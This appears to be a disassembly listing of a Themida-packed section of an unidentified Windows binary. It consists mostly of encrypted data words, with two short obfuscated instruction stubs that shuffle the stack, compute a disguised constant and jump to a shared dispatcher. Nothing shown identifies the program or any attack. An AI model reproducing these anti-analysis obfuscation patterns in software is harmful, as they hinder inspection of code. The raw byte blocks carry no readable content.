		dd 60335D4h, 688E1CB0h,	38F5F540h, 9433A7C5h, 0AF49CF62h
		dd 0C14FE375h, 0FCA41635h, 0B541CF63h, 0E3FCA415h, 2218332h
		dd 0F88BBD5Ch, 0EA1D372h, 26B9EB88h, 0E72894D7h, 67191648h
		dd 9E2C41DFh, 0FCA41558h, 55E89748h, 708614A6h,	30FCA415h
		dd 0DA751D7Fh, 6D0032D1h, 6C120FBEh, 860C9FD1h,	991FB2EAh
		dd 0AF35C8FAh, 386A0912h, 64A7F689h, 24878E18h,	0A2DC77D8h
		dd 0CD6BF3A5h, 0F759089Bh, 0EC7EB04Fh, 162CCA58h, 0BB6CFCA4h
		dd 7E12A459h, 0A41606F0h, 7FE192FCh, 0A415F0D1h, 0BD076CFCh
		dd 0B90015DDh, 9A42CA6h, 339544D7h, 6CD3h, 94339300h, 0B143CF62h
		dd 0BDFCA415h, 4577151Eh, 0C15403B2h, 0DD70A23Bh, 7BEB51B4h
		dd 884AB217h, 0A6B8FF6Ah, 12Bh,	9633EB00h, 0AB3FD164h
		dd 0A415D91Dh, 0B416C7FCh, 0AA3D6F0Ch, 0BF528624h, 80C72D70h
		dd 2B4B1E3h, 3DD014B7h,	8A17F54Ah, 0EFD8213Fh, 32DA3CEDh
		dd 0B3F18A93h, 30C27120h, 45D80CA8h, 3A761096h,	7796F8A7h
		dd 76DC2739h, 0B4E886FCh, 83E4A06Bh, 0A5DF7921h, 5F17F13h
		dd 93FCA389h, 45CB80E2h, 4ADF72A8h, 0C05ABD07h,	42E18784h
		dd 5EF77D10h, 6E0B9124h, 8A23A93Ch, 0A533C558h,	0FCA38851h
		dd 0C4F9E4Fh, 90C25FA0h, 809F4EFDh, 0FF3D71Dh, 0A6A6B879h
		dd 6Bh,	67993366h, 7FB54ED4h, 125A9DECh, 1FF756A1h, 1A5AB59Ah
		dd 3A7610B8h, 0C3FD973Dh, 0D80CAA30h, 79C32645h, 0B84E6999h
		dd 7E4CA6h, 270C0000h, 15F10593h, 0FEAFFCA4h, 265AF49Ch
		dd 41730C94h, 0E89DFFAEh, 0FB8DC762h, 13A6D873h, 0C74D0264h
		dd 0CE60F32Dh, 0A415B640h, 0AB31E2FCh, 0FD4CDF11h, 0BBE472BAh
		dd 11ABEC58h, 27A4E2DFh, 6DCF019Fh, 60F228C5h, 15B83ECCh
		dd 9DE8FCA4h, 0A275E6A8h, 54DA892Eh, 40EF82B6h,	249D29DEh
		dd 38FCA3FAh, 861A69D3h, 0A3FAFEF8h, 87E99AFCh,	0B8E49062h
		dd 8D29B1A6h, 195F557h,	55000000h, 0D6689A33h, 0E87BB14Eh
		dd 9C22D739h, 3138CBFDh, 0CA1566CEh, 4A38A95h, 47903FD2h
		dd 0FC5E84CBh, 38EFBB54h, 0A19593Ch, 0CE545100h, 0DC6AFCF4h
		dd 0F27EA125h, 8B19AD41h, 0F5FA9B6Bh, 0FEF88435h, 9AF5FA9Bh
		dd 5DA83AE9h, 17B41367h, 0CE8432F2h, 5897125Bh,	6FF5AA0Ch
		dd 0FBA19ED0h, 85B7535Ch, 19443F2h, 0FA4F7F75h,	29648F5h
		dd 0FA4F8274h, 0B6D1EF5h, 5AF95EA6h, 0E6852B28h, 2FE186D1h
		dd 7561AE2Ch, 0FA670DE9h, 33C351F5h, 6DF5FA67h,	43DC64BCh
		dd 20CF7E11h, 66F6008Eh, 0F1A2F5FAh, 8A29AF42h,	0ED30C558h
		dd 6FA14087h, 50A34F72h, 169EA00Fh, 5B4477Dh, 16D43A3h
		dd 27030000h, 15F10593h, 0FEAFFCA4h, 42AE149Ch,	35EF22B0h
		dd 0EC37F27Fh, 0BA32C107h, 2FC2714Bh, 4278159Dh, 678F1DAFh
		dd 31F5FA5Ch, 0C76FD180h, 53F9F628h, 68F082B4h,	0F123C2CBh
		dd 6D00AF5Eh, 0D6669B24h, 0FAA90882h, 0BE5DE398h, 2164F98Ch
		dd 0A3D574DBh, 8E6F83A6h, 4A26A00Fh, 0E6000000h, 0F0828053h
		dd 497A04A5h, 0E236AA49h, 0CC00497Fh, 739D886h,	0B442F658h
		dd 7CA32322h, 0AE3ACD7Eh, 7CA50848h, 70B7FD42h,	2029C863h
		dd 0EF9E4D87h, 907CF5Dh, 0A051FCA5h, 0DDE8860Eh, 0C95C0B41h
		dd 5899B81Ah, 0C7h, 0E76F531Ah,	62B4967Bh, 881AC990h, 7E334BFAh
		dd 4EE971F2h, 83388114h, 0ED08CED5h, 84FE600Fh,	9462F0h
		dd 5304F5FBh, 0ED8A12A4h, 137524B7h, 0AA38CC5Eh, 0F5FB004Ch
		dd 91399B4Ch, 1DC3C0F2h, 0A4D6757Eh, 3CDB63F5h,	5D9927h
		dd 8A3BF5FBh, 509948DBh, 0CF67EA1Ah, 83389A0Eh,	0FAA4C8F7h
		dd 2557F6F5h, 3F710C92h, 0D21A5DACh, 4CB81B44h,	0C9576C0Bh
		dd 0F5FAA42Dh, 0E0BBA6Bh, 24B63A88h, 429F4590h,	0F58A2EECh
		dd 0F9BCE593h, 0FBACEBCBh, 0AF4ED668h, 83A1EA7Dh, 0CF20C08Fh
		dd 42EA4CFBh, 0D7DE71A3h, 0DBE70874h, 0ACF58315h, 82F26E24h
		dd 902361FAh, 35C14FE1h, 63F5FAADh, 4ED650B2h, 3FEE81B3h
		dd 53559390h, 5BEF816Fh, 496E3AD3h, 2F2874B6h, 0AB94CFBh
		dd 86A7FAA8h, 2BBFF275h, 0F586599Dh, 25B347F5h,	0F5F586D1h
		dd 0C06F1ECFh, 0FF08A72Dh, 0E9982B65h, 38B3D3Ah, 8FED3668h
		dd 34EBBCC7h, 6706AE10h, 0A516A235h, 0AB66186h,	7B1A7DC7h
		dd 7A64C49h, 1EBC42D5h,	33D157EAh, 4AE86E01h, 60FD8316h
		dd 99E8972Ah, 7980EE56h, 0CA69AE16h, 0E4720698h, 0C36D7A12h
		dd 5C7BDD8Eh, 52E517B6h, 589E2CC0h, 48C36D79h, 0CF23597h
		dd 0B4000000h, 5A6EB94Dh, 7389A783h, 33BEFE60h,	50D6699Bh
		dd 66EC7FB1h, 800699CBh, 971DB0E4h, 0AA30C3FDh,	0BB41D410h
		dd 0D258EB1Dh, 0E268FB39h, 2A7C0F45h, 81E68956h, 4C6h
		dd 4EE8100h, 87000000h,	895C2434h, 89562404h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 240C895Ch, 418168h, 241C8900h
		dd 0AED58568h, 240C8B06h, 4C481h, 8B540000h, 0C481241Ch
		dd 4, 52CA8952h, 54240481h, 8F30CA1Eh, 6B810843h, 0CA1E5408h
		dd 1C8B5A30h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 0F5h, 27h, 10h
		dd 9158C319h, 2EF6FD4Ah, 0DAABB886h, 0C50306AEh, 0C153E0FFh
		dd 3D6F6C21h, 0C4E23327h, 2FB06FBEh, 41087F8Fh,	0C6970707h
		dd 0FE6041CEh, 0CF966342h, 2B106AA9h, 0B7DE20EFh, 0EFFC79FCh
		dd 0C66B4074h, 851F273Fh, 1D2B3DE0h, 914B2B5Dh,	3A001E27h
		dd 9EA72294h, 6CA264FEh, 37E93EF8h, 5000000h, 9C34D964h
		dd 77E733h, 0Bh	dup(0)
		dd 15E90000h, 6800000Eh, 6AEDD98h, 0FAA408E9h, 0DE8E68FFh
		dd 0FEE906AEh, 68FFFAA3h, 6AEE01Bh, 0FAA3F4E9h,	0E16D68FFh
		dd 0EAE906AEh, 68FFFAA3h, 6AEE331h, 0FAA3E0E9h,	0E58C68FFh
		dd 0D6E906AEh, 68FFFAA3h, 6AEE6FFh, 0FAA3CCE9h,	0E82D68FFh
		dd 0C2E906AEh, 4DFFFAA3h, 0DC827FB5h, 6A100D3Fh, 0F09693D1h
		dd 7B211E52h, 77B2AFE1h, 133CDADh, 8AC25E04h, 124CE78Dh
		dd 9ED06F15h, 29B74BA1h, 0F5F539CDh, 333A58CBh,	49CF6294h
		dd 0C97B78AAh, 0E313A135h, 0BDFCA415h, 1576800Ch, 7122FCA4h
		dd 0B53B870Fh, 6D078F23h, 0BA23D133h, 0D6F27F24h, 0EE81B34Eh
		dd 71FD903Fh, 0F5FB0251h, 7E7D4DE9h, 13BA830Bh,	890FA251h
		dd 7625B8EAh, 8E2153F0h, 92BA0265h, 824A203Fh, 0DBFAA97Bh
		dd 0A44E0C78h
dword_5A5568	dd 0F1A00FEDh, 65h, 816F53B1h, 37D35BEFh, 0AD5C902Eh, 5B096B1Ah
					; DATA XREF: Themida_:005681D0o
		dd 0F27F2336h, 609624B8h, 40F5FB01h, 2A7EE5F5h,	2AD9A312h
		dd 70D206A4h, 26B245F6h, 0F5FA8D9Ch, 3ACDFF9Eh,	0A24D19B4h
		dd 0CD4AEFD3h, 3DCF6211h, 0FADA47AFh, 99A051F5h, 4160CE36h
		dd 3EB496DEh, 3A00FC4h,	0FFAB15B8h, 8FE12A64h, 0B4147624h
		dd 0D8h, 8B943374h, 124CE7F0h, 8E21D07Fh, 179D30DFh, 2AB0437Dh
		dd 0B0E4828Bh, 0C3246F01h, 39298EC1h, 28CE5CEEh, 78FCA3BEh
		dd 2AB065C7h, 0B05C598Bh, 0FCA3BA81h, 0F82AC34Bh, 3C9ED672h
		dd 0C6C3F594h, 0BC4F8120h, 0F2846C56h, 7ED75164h, 9F9C4DF2h
		dd 0B547A919h, 0C74B7727h, 4EE091EBh, 86212CC6h, 2C70B94Ch
		dd 0ACC2554Bh, 0E0BBA69h, 93BD45Ch, 65492D76h, 41996AF6h
		dd 0EE883092h, 0A1463BB2h, 70058909h, 0B8D4Fh, 133CB00h
		dd 8BC15E04h, 154FE88Eh, 0A0D47218h, 3163FDA3h,	4F2BF934h
		dd 0D87E7BB5h, 650B083Ch, 0F59B98CAh, 0D1272456h, 3847AF3Dh
		dd 0DE51F5F5h, 679933C0h, 80B24DD5h, 24DFF1Eh, 3E14BDD9h
		dd 0C45FE51Ch, 0E180288Ah, 0FA951DAFh, 94766C8h, 0EF816F53h
		dd 7F233061h, 0B447F8F2h, 0FB019A28h, 58A407F5h, 0FEB787Ah
		dd 0D91DA0h, 0D5690000h, 0FAF5AF47h, 0D521AFF5h, 0C3F5FAF5h
		dd 7709BA12h, 0FAF60DE9h, 78DA8BF5h, 62943338h,	75AF49CFh
		dd 12DB56E2h, 0DE7DFCA4h, 7D0339D5h, 6817AAE0h,	7716BCB9h
		dd 764CB245h, 5B5AE87Ah, 3BF27F2Fh, 53DB8D8Ah, 0DD0FADB6h
		dd 0E80E9C2Eh, 0B8F5FAF5h, 0A51DA507h, 802BB94Bh, 62EBC7A4h
		dd 0A5073DDAh, 60E87A2Bh, 0E78D8AC6h, 0C53A794Dh, 757BFC47h
		dd 115A598Bh, 0B53B9064h, 0BE35E416h, 890998CFh, 97C8E97Eh
		dd 0C100000Ah, 48EEEB29h, 0D67C79ABh, 640A073Dh, 0EF9592C6h
		dd 0E31E1B55h, 659F3941h, 0EE26C268h, 7EB04BF1h, 0A3CDB81h
		dd 9523B70Dh, 0F5F53761h, 27AECC3Fh, 15F10593h,	0FEAFFCA4h
		dd 435AF49Ch, 0A41541B5h, 0FFAE5FFCh, 8BBD5C02h, 0B954DC8Eh
		dd 27E52587h, 38CB059Fh, 0E07F2789h, 0F6951BAEh, 6C1B51EDh
		dd 0A872BD6Fh, 1B8E51Dh, 1DA52D8Fh, 5AB341D3h, 0B6F27EB5h
		dd 2CC5952Eh, 467B6127h, 7204B362h, 0F2A650DEh,	0A7F2F5FAh
		dd 350A5045h, 0C92BDA36h, 4E378214h, 95450365h,	0F5CC7ADCh
		dd 0AAF5FA1Bh, 0D51DFD47h, 0C0A00F09h, 6D0h, 9E6F5380h
		dd 0A415E610h, 5201B2FCh, 391F32C0h, 0B667F27Fh, 6E099123h
		dd 90F2A134h, 0FAE7E0E2h, 165EC1F5h, 0FD5BE34h,	6A2D7A0h
		dd 53970000h, 5BEF816Fh, 0A41629CDh, 64C677FCh,	349B22B0h
		dd 4AFBF27Fh, 889130B8h, 770AB9EBh, 25B166C8h, 0F5FAF39Dh
		dd 775BA104h, 0A00FE17Bh, 66F1Ah, 0D11B6600h, 2FC7553Ah
		dd 69F5FAC2h, 6F996FB8h, 43D60CA9h, 0C55FE594h,	9E9298Bh
		dd 866A58CCh, 20AB66F4h, 0CA7BF27Fh, 0EC7A0EC2h, 0F5FB000Ah
		dd 82740296h, 1EF5FAFFh, 0AE5CBE6Dh, 41E2252Bh,	99B556Dh
		dd 0C2D52A7Bh, 0B245F667h, 0E7E0764Ch, 25AF2AA7h, 0E833C574h
		dd 5DFAF92h, 0CE82E46Ch, 69725840h, 0C1530466h,	6B689A39h
		dd 5F9531B9h, 84B655FDh, 0B783E40Dh, 0D2EC303h,	90Ah, 817EB64Eh
		dd 0F0C3EDBh, 9592D069h, 221F51EFh, 0B1AEE27Ch,	32CCAE76h
		dd 0BF5B01FEh, 4FEA908Dh, 0D3721815h, 0BA4EA4A1h, 0F535CA2Ch
		dd 4563D6F5h, 0CF629433h, 5975969h, 4FB1E37Dh, 0EA570D9Bh
		dd 9921F275h, 1916C5FFh, 0A44DF67h, 3C98FAA8h, 0F619F5F5h
		dd 0CE5B150h, 187741D5h, 30E2DF8Eh, 28B9E3E5h, 16785093h
		dd 2BBD458Eh, 51B74C97h, 5D91CFC2h, 80E291C3h, 0F5961CD2h
		dd 5AE87CF5h, 0F5F5959Ch, 0A9C4BFCh, 960EE876h,	0D98AF5F5h
		dd 9D3CC277h, 34BC6E6Bh, 4ED46799h, 39E87BB1h, 3365048Ah
		dd 95CF23D1h, 10ABF5F5h, 95896DFBh, 6617F5F5h, 0FE9D25B7h
		dd 959B5BE9h, 5405F5F5h, 16312A5h, 6B9D3CE2h, 85764CD8h
		dd 0BE21F5F5h, 40721176h, 0E9FE9D43h, 52A59B5Bh, 0FA371403h
		dd 887DA352h, 3ED07F30h, 32DA1CAAh, 15C60352h, 5072FEB3h
		dd 69035242h, 24DBE06h,	280A4AFFh, 0E58DEF20h, 65171446h
		dd 8A7444DDh, 8F85C726h, 5093F5A4h, 12Dh, 62943312h, 74AE49CFh
		dd 15A155E1h, 32D1FCA4h, 0BB076D00h, 870FA335h,	7625B8EAh
		dd 0E9FE6614h, 0D860F275h, 5B953039h, 86A19ACh,	0B66DD8Eh
		dd 128FA5BDh, 7B85C7Dh,	8A00000h, 8C29CFCCh, 1AB35956h
		dd 0A745EBE8h, 38D27875h, 60C4FFFCh, 4744801Ah,	0D2CF05A1h
		dd 625F912Ch, 0EEEB1DBCh, 80760498h, 20F5F534h,	9F278FADh
		dd 0C56DCF01h, 0DB61F426h, 6C120F41h, 0FCA29FD1h, 5992B5Dh
		dd 1FABE17Dh, 0FCA415D7h, 0ED8A10C1h, 843655B7h, 9A2D5FFCh
		dd 47E189EBh, 0B3629A36h, 0C4009A20h, 0D311AA32h, 1B7DAF4Dh
		dd 0B73FD166h, 0A756E91Bh, 3394E045h, 0B86A6799h, 15609624h
		dd 8F40FCA4h, 0FFEA082Dh, 0C357A6B8h, 0A409C135h, 0B857DFFCh
		dd 9544F386h, 7D333h, 98930000h, 0CCh, 0C894335Ah, 43550F1Ch
		dd 3F710B7Dh, 0C24EE190h, 0FCA41400h, 0E37F07B9h, 82EA4FB1h
		dd 0E70F9D31h, 0B1FCA413h, 57F69E00h, 1342B442h, 0AD5EFCA4h
		dd 4AD86CFEh, 0FCA413ACh, 0BAD93BECh, 0B4477914h, 0A4139928h
		dd 64D015FCh, 59568823h, 8F98331Bh, 7F11C0F2h, 0B7515AF7h
		dd 8C3BEA7Dh, 33E84AF9h, 4DE012ADh, 49E26B8h, 458E3DD0h
		dd 0C363DC2Eh, 0DF44A632h, 86973295h, 5D01BE7h,	2461B99h
		dd 0FBA7A453h, 0FCA3FC62h, 0D90DE4E7h, 8E88A6B8h, 48FFFFFEh
		dd 60D2DC27h, 64311B1Fh, 0D51E324Dh, 34AB67E6h,	59025D0Ah
		dd 95D83AE9h, 348h, 29C74FE3h, 29B564F7h, 0FCA3DDCDh, 3DD0029Dh
		dd 61EB368Eh, 0C6FAAE00h, 90D032E1h, 0F7C89433h, 0E6F37A9Eh
		dd 0C57E998h, 2BAFE262h, 0D78CEED3h, 0A35DA74Bh, 3E86CBFCh
		dd 72A845CDh, 9BE730DFh, 0B709D4D2h, 7110B81Ah,	0FD9C423Fh
		dd 46AC38CBh, 14FCA352h, 4AB04375h, 58E67878h, 0F275270Ch
		dd 2348BF70h, 0EA8FA57Eh, 5F43455h, 0CC640000h,	58F59B98h
		dd 0E67F2522h, 6B09AFACh, 0FC963C39h, 9490CBC8h, 1B184CE6h
		dd 0A6A3D975h, 2E2B6500h, 0BAB7E988h, 0B442D064h, 0E4F5F532h
		dd 94335371h, 0B53DCF62h, 0A655E81Ah, 0CE029C44h, 5A8C2BD1h
		dd 0E31DB75Dh, 0DD340651h, 1FF8F839h, 0E88208BDh, 418419ACh
		dd 0C6FA94FBh, 0AD4CA6C9h, 6DF5A6B8h, 0F527C5CEh, 0A204B362h
		dd 26B42h, 80530200h, 0CB68F082h, 0F6823799h, 0FDB508DAh
		dd 9C35BD6Fh, 0C224D366h, 0BF33175Dh, 0D6A7CA05h, 248h
		dd 82805396h, 0A436A5F0h, 0A6EF25BEh, 8AECC51Fh, 44F742D6h
		dd 0CA788D2Fh, 0C372AE48h, 8E43B361h, 0AC5DFCA3h, 81438D19h
		dd 0D36FFDB4h, 0EC880EA1h, 93D625B8h, 3B9EBD29h, 8AE111F1h
		dd 5B4A7CAh, 74000002h,	0F0828053h, 0A4159862h,	0B54ED6FCh
		dd 0F2A31D7Fh, 8FDD35Fh, 8F29FDB5h, 0A33CC255h,	17F6008Eh
		dd 0F1A2FDB5h, 45A8AF42h, 4CCD5FFh, 85069EC1h, 0E854B7D6h
		dd 0CA98C82Ah, 0BC2E79A7h, 7F8581CBh, 0DF72A845h, 0BF1F8130h
		dd 1B8h, 0AB80537Fh, 366A0811h,	9645F4A3h, 421CB904h, 7056A969h
		dd 22CC5A0Eh, 7EFCA35Bh, 1AB33BCDh, 73E09FE8h, 0DFE808A1h
		dd 943CC87Dh, 9FDB4DFh,	59ED5EA6h, 0B53F2BCBh, 62C475FDh
		dd 0CA2CB53Dh, 172E0A7h, 33A00000h, 49CF6294h, 0EF0795AAh
		dd 0A9FCA415h, 0A945645Eh, 0EC9B9834h, 8BA403Dh, 15C856E8h
		dd 71F27E44h, 0C9A2EC0h, 0F5FA23EAh, 0EEA305B6h, 0FA236062h
		dd 96DE41F5h, 0F113EB4h, 246F03A0h, 67CC2985h, 0D620ACC6h
		dd 0C2F5FA6Ah, 52643D77h, 38E77040h, 2E76D6h, 53360000h
		dd 61EF816Fh, 0F27F2330h, 2DB547F8h, 19C85B91h,	4C7602B7h
		dd 55F5FB01h, 4F811BA3h, 46AB0DBCh, 0EBD61CFEh,	0B5BFA00Fh
		dd 7F000000h, 0CF629433h, 0E517B53Dh, 9941A352h, 0C98E2BFFh
		dd 4377E0BBh, 0DC7B0194h, 0F29117AAh, 0C611C3C0h, 0EE8740C9h
		dd 37166BB4h, 44ED9BFDh, 16FCA381h, 2BB34577h, 0B4EE8992h
		dd 61C37221h, 0EA06BC42h, 2E6FCA58h, 59EDF270h,	53C62E0Eh
		dd 0D05C64C5h, 0F5F88A26h, 0E55FC172h, 801AA234h, 7A14744h
		dd 0EA0F56CDh, 59EE8FA0h, 39938h, 0ED27BF00h, 77AD4AF0h
		dd 93BD47Ah, 94C8660Ch,	1D57F197h, 3B3FE520h, 0CC726FA1h
		dd 59FFFC30h, 0E18784BEh, 0BD131042h, 305B9B29h, 0D245F5F5h
		dd 49F27B4h, 26C068CAh,	0A847EDEAh, 7CC77976h, 6695834Ch
		dd 0A3E34578h, 3FBDDC27h, 70599B04h, 95C7660Eh,	0ABDD7C02h
		dd 5EBF02AEh, 2999FCA3h, 0A2A735C7h, 0F6F27E7Dh, 1BA1D36Eh
		dd 0BBA4D7Fh, 0A442CA5Ch, 0A650DE70h, 0F2F5FA80h, 82C0DF41h
		dd 0CF629433h, 0E678AA49h, 0F88BC15Eh, 16C8E749h, 28BBF18Eh
		dd 338F1779h, 409D2BBDh, 26F27F24h, 180DCFDBh, 0E6488963h
		dd 9C28BB6Ch, 0F5FB0E26h, 0EEAC187Bh, 0A00FFD04h, 4091h
		dd 6F535100h, 0C967EF81h, 0ED813597h, 32D159h, 0C432BE6Dh
		dd 0D4FCA415h, 53F42689h, 0CE7DDEA6h, 0E073AD48h, 7021CF31h
		dd 0B8F27E99h, 0DAE87407h, 0C7F5FA77h, 0B83A1864h, 0DDA00F61h
		dd 0CCh, 6294339Dh, 75AF49CFh, 8BBD5CE2h, 0A1D372F8h, 0D05EF2A4h
		dd 0FCA41626h, 0B15FC172h, 0FCA41280h, 15B2BB5Ah, 99896DFh
		dd 46C35F75h, 55F49A97h, 982A9023h, 0E732C658h,	70EE8C1h
		dd 0FB31CDE8h, 0A80AB968h, 7ECAFFFAh, 0E9E697F2h, 0FF915F63h
		dd 0C777C271h, 0B442D6EBh, 0FCA11642h, 6CFEAD5Eh, 19164AE4h
		dd 0B45DF67h, 2D6701A9h, 99965B6h, 8EAF4489h, 226h, 5D5A9A32h
		dd 0EBE81AB7h, 7976AC45h, 60335D3h, 8D8AC660h, 0EA8D252h
		dd 932FD5D2h, 23BE6461h, 0AF4EF4F1h, 962A807Dh,	0F52FEE08h
		dd 1937AAF5h, 0D5679933h, 1543B341h, 0AC5DFCA4h, 0C7768A63h
		dd 4BADEC5Eh, 58E67A2Ch, 0FCA3809Eh, 3FE749FAh,	33716EA0h
		dd 0EF816F53h, 7F233061h, 0B447F8F2h, 0C9FB9A22h, 77258736h
		dd 0F5FB014Bh, 7D1CA456h, 0A709B84Bh, 0DA18FA42h, 0BBA00FEBh
		dd 0FAh, 7F94337Bh, 0A41605F1h,	33E293FCh, 44801AA0h, 0B76F67B2h
		dd 0F22DC957h, 0BA6BFCA3h, 0EF75771h, 0DD65F7ACh, 0CB7A0D3Fh
		dd 0AF76BB69h, 70F8FCA3h, 0CC2AB8D5h, 0CCFCA3B5h, 620A6C1Bh
		dd 0E29491C3h, 0F285BF5Ah, 9A39E143h, 280665CEh, 0F9A85643h
		dd 49F01C67h, 982B5DFCh, 80BAA0E9h, 0A40ABF21h,	0B240D21Eh
		dd 0F27E9247h, 2B3CD75Fh, 1CAF5E90h, 0FC1BE6Dh,	42E0E987h
		dd 1DCC7B0Eh, 618F33BBh, 411541CFh, 0F843EBC7h,	6D2465EDh
		dd 7D0FBE4Fh, 0BE465BF5h, 985EEA22h, 8FCA15Bh, 5ABA857h
		dd 87C2396Bh, 468909DCh, 0F890B1h, 0C8600000h, 4CE98F8Ch
		dd 0DA731916h, 6705ABA8h, 0F8923835h, 0A084BFBCh, 70440DAh
		dd 928FC561h, 221F51ECh, 0AEABDD7Ch, 0C036C458h, 0E0F5F52Dh
		dd 99334F6Dh, 0EB54A6CDh, 0A8572094h, 5D6605ABh, 48F78AC0h
		dd 0D5CF8CFFh, 15C49165h, 9433DA18h, 0AA49CF62h, 0CDF57B78h
		dd 78FFA89h, 28D71034h,	82740296h, 1EFCA398h, 0C9570B6Dh
		dd 0F2756DA7h, 179D30E1h, 2CB44678h, 0D9F85A8Eh, 0CF629433h
		dd 0E61CB53Dh, 9442A453h, 0A77DF31Dh, 7C151EBBh, 5504B346h
		dd 9AA33CC2h, 8114C301h, 1F8FF558h, 0E0278DD0h,	327D0F41h
		dd 0EF60AA25h, 0AC3ACC89h, 0C7CA1E4Ah, 2443A556h, 37D6DF7Eh
		dd 10297205h, 0C5BB3DC9h, 69FCAB5Ah, 801345E3h,	5DAE1679h
		dd 0B781DA12h, 0FA80C6A9h, 0E493265Eh, 93BDA82h, 95C7660Ch
		dd 10E102h, 9B2F0000h, 0CA6AE90Dh, 942FB7C7h, 949AB5Ah
		dd 9B332D4Dh, 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h
		dd 10AA30C3h, 1DBB41D4h, 39D258EBh, 45E268FBh, 502A7C0Fh
		dd 405E089h, 51000000h,	4B9h, 59C82900h, 5C240487h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	1A11h
		mov	[esp], esi
		push	eax
		push	4D667948h
		pop	eax
		push	edi
		mov	edi, 1A8E71B1h
		or	edi, 6CB2D1Eh
		shr	edi, 2
		not	edi
		sub	edi, 0AC837B3Eh
		xor	eax, edi
		pop	edi
		mov	ebp, eax
		pop	eax
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		sub	ecx, 3DCF6E21h
		add	ecx, esi
		add	ecx, 3DCF6E21h
		mov	[ecx], ebp
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0ACE145DFh, 73291B37h, 0B02FC089h, 0AEE94AB8h, 0FFC50306h
		dd 23AD5AE0h, 39A6A12Ch, 96AED25Eh, 0F5C7A842h,	0D196A731h
		dd 1E549A48h, 9DD31471h, 0D0E81D05h, 0F0C9B917h, 0AA90543Fh
		dd 0E7982D15h, 0BBBF1F4Dh, 0D08BBD50h, 67D0801Dh, 0ACD16823h
		dd 12DBAA15h, 0B4EE1968h, 0D9E1050Dh, 0AFBB936Dh, 0CE84962Ch
		dd 472A1139h, 7CA26E69h, 0C484473Fh, 36F95715h,	851EC021h
		dd 5994ED08h, 52FD1D63h, 0AFE913h, 1F870000h, 94650Ah
		dd 50000h, 10000h, 0A280000h, 20000h, 26h dup(0)
		dd 0BCDE900h, 0C3680000h, 0E906AEECh, 0FFFA94C5h, 0AEEDE968h
		dd 94BBE906h, 0E968FFFAh, 0E906AEEEh, 0FFFA94B1h, 0AEEF5E68h
		dd 94A7E906h, 9D68FFFAh, 0E906AEF0h, 0FFFA949Dh, 0AEF10868h
		dd 9493E906h, 3968FFFAh, 0E906AEF4h, 0FFFA9489h, 0AEF53C68h
		dd 947FE906h, 0F890FFFAh, 7C19BFBCh, 0AA34946h,	9735DBD8h
		dd 28C26865h, 70B4EFECh, 3734700Ah, 0C2BFF591h,	524F811Ch
		dd 0DEDB0DACh, 9066F488h, 10F5F52Ah, 94337F9Dh,	1605F17Fh
		dd 0CB65FCA4h, 0A904199h, 0F5A4376Dh, 8E2DB346h, 17675AC2h
		dd 8231687Ah, 2DC3FF85h, 0E67F079Bh, 86A19ACh, 7E4E835Ah
		dd 5798E3F2h, 72333A1Bh, 0A9629D8h, 0F5FA36B8h,	12AF37E9h
		dd 32FB3F46h, 7221A6CAh, 0F241AB10h, 0A01FEFA7h, 8DEF690Ch
		dd 0F3D8A68h, 470BA0h, 27CB0000h, 0FB104893h, 15506E81h
		dd 0A3D86D89h, 187A2BFCh, 2CBE3290h, 7EE5F39Eh,	0F08233F2h
		dd 0ED28CE5Ch, 0C778F5FAh, 9E24B065h, 3F5FAECh,	29330651h
		dd 0A2E4853Eh, 0ED4F811Ch, 945E3C88h, 1A00FB6h,	0DFh, 629433C1h
		dd 75AF49CFh, 8BBD5CE2h, 3ED266F8h, 0A41546B0h,	15A152FCh
		dd 0FCA415E1h, 4AC0EBFh, 8EC25C65h, 0A8DA75FBh,	24B84AF9h
		dd 0A4156096h, 2D8F40FCh, 12D9620Eh, 6F03FCA4h,	0A41215E1h
		dd 70D283FCh, 0FAF729C8h, 0F083B554h, 26B8388Ah, 0EE0E4792h
		dd 5F51E83h, 0D7C0F5A3h, 2FE0F27Eh, 4016AC32h, 53F98778h
		dd 0F98B3A91h, 0C6C4336Bh, 0A9C4DEBh, 0EED8A1BFh, 0BB1D3B3Eh
		dd 0ABE57F07h, 326E08AEh, 93E83BBh, 8CAD4289h, 961h, 29265EF6h
		dd 0B7B4E683h, 3D3A7811h, 0CAC7F997h, 59568A24h, 0DA74061Eh
		dd 6703A9A6h, 0F7923835h, 7B1AC0BDh, 62F64C49h,	0F52A22D4h
		dd 0ED0B7EF5h, 0F6849933h, 0FCA41600h, 4340EFA0h, 386A0991h
		dd 0F0ADF6A5h, 0E7769D2Eh, 0AC4BF355h, 273F7D7Ah, 0EA874893h
		dd 380A730Ah, 0A39F4AACh, 1FA556FCh, 8B74A84h, 4CA41EA6h
		dd 0AD652CBAh, 0F0A1F27Eh, 537D65Eh, 0AC61C372h, 0FAB3A220h
		dd 509CFFF5h, 0F9D8072h, 0D515A0h, 16610000h, 0FC8E8183h
		dd 0F9399BBFh, 0CF629433h, 0E275AF49h, 0A412E556h, 427413FCh
		dd 0CE009F45h, 0DC1AA83Ch, 0BCFCA411h, 8EF4A90Bh, 164CE534h
		dd 0B24ED483h, 8938E77Ah, 9BD56FF7h, 0BEF78539h, 0A0F27F2Fh
		dd 0F5787E0Ch, 5DFAF5FAh, 8DE59427h, 191593DCh,	2B2174F2h
		dd 0A19E4FC9h, 0B749A71Bh, 0C7B58229h, 64F286EBh, 0FCA15792h
		dd 702EC30Eh, 5B68B83Bh, 0E36BFDACh, 0FFB31547h, 31CCDD77h
		dd 0EBD6CFFh, 9C5AE87Ch, 0FCFCA181h, 24CAE94Bh,	51DF568Ah
		dd 5C8909E2h, 83BA6C7h,	841C0000h, 10AD5350h, 9E37DDDAh
